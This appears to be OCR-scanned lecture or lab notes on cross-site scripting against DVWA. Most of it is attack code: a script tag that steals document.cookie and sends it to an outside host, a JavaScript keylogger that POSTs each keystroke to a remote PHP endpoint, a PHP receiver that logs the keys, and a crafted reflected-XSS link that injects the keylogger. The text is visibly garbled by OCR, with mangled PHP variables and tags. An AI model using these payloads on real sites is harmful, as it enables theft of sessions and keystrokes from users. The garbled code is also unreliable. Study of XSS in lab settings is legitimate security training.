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® XSS

® HiEYcookie
> <script src="http://192.168.141.1/a.js"></script>
® a.js/Rhg
> var img = new Image();
» Img.src =
"http://1.1.1.1/cookies.php?cookie="+document.cookie;




® XSS

® Keylogger.js
document.onkeypress = function(evt){
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if(key){
var http = new XMLHttpRequest();
var param = encodeURI(key);
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-
urlencoded");

http.send("key="+param);




® XSS

® Keylogger.php
<?php
Skey=$_POST(['key'];
Slogfl le="keylog.txt";
Sfp fopen(Slogfile,"a");
fwrite($fp,Skey);
fclose(Sfp);
7>
® <scirpt+src="http://1.1.1.1/keylogger.js"></script>
® <a
href="http://192.168.141.137/dvwa/vulnerabilities/xss_r/?name=<script+sr
c='http://192.168.141.1/keylogger.js'></script>">xss</a>
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